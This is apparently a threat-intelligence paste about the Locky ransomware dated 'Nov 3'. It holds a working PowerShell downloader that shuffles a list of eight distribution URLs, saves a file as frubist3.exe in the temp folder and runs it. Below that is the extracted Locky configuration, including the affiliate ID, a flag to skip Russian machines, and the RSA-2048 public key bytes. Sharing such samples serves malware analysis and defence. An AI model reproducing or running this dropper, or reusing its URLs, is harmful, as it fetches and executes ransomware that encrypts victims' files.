Locky Nov 3

$urdis = "http://teesaddiction.com/HkkfY73r","http://dangelofavata.com/HkkfY73r","http://cibeservice.it/HkkfY73r","http://washingtoncountyyellowpagesdirectory.com/HkkfY73r","http://fsol.co.za/HkkfY73r","http://euroregistro.net/HkkfY73r","http://ceocfonewsline.com/HkkfY73r","http://evengrollighromsof.net/p66/HkkfY73r"
$urdis = $urdis | Sort-Object {Get-Random}
foreach($urdi in $urdis){
Try{
Write-Host $urdi
$f = "$env:temp\frubist3.exe"
Write-Host $f
(New-Object System.Net.WebClient).DownloadFile($urdi, $f)
Start-Process $f
break
}Catch{}}

~~~~~~~~~~~~~~
Verbose: 0
The file is a PE EXE
affilID: 3
Seed: 0
Delay: 11
Persist Svchost: 0
Persist Registry: 0
Ignore Russian Machines: 1
CallbackPath: <none>
C2Servers: <none>
RsaKeyID: 171B
RsaKeySizeBytes: 114
Key Alg: A400
Key: RSA1
Key Bits: 2048
Key Exponent: 10001
Key Bytes:
        3F AC 81 97 95 F9 CC 2C
        BA 67 2A 63 3B CA 23 9F
        58 26 E2 A6 D2 53 B5 A3
        89 3D 60 49 09 FE B7 80
        93 82 AD EB 27 B2 CB 60
        BC 5A 00 C5 78 E1 7C 57
        1F 68 68 6A D7 46 D2 46
        5C 8F F9 E3 CC 67 D1 60
        16 B5 48 D5 01 DD A0 73
        29 89 65 FF 5F F4 79 A8
        E3 E4 B8 50 03 28 32 AB
        91 ED 6A E2 7B BD B4 97
        C0 D8 A8 FE 21 55 C6 63
        1A 40 59 FB 91 34 B6 4A
        B2 6C 1A 5C 12 EF 8C 16
        90 F9 31 77 1A 08 81 15
        1B A8 9F B1 01 2D 63 66
        7E 05 84 5F 80 79 E9 E6
        11 94 64 67 D5 FB 71 F6
        9A E1 24 5E 92 18 11 28
        98 94 28 98 58 EB 1D 0F
        9A 31 98 10 38 D2 32 E7
        0D D0 C4 E9 16 3C 90 29
        40 CB EC 08 2A 18 41 04
        94 1A 94 FB ED 8F 55 0D
        A9 1E 20 31 E0 FF 7B BD
        D7 AB 13 11 D9 47 4F 9A
        66 86 4D 2E D7 B1 F1 E4
        B9 23 7D 0D 4F 3F 9A 6A
        75 58 B5 99 59 36 FF BB
        07 5A 1A 50 9E 2F 83 1C
        72 34 41 49 A3 9E 91 D2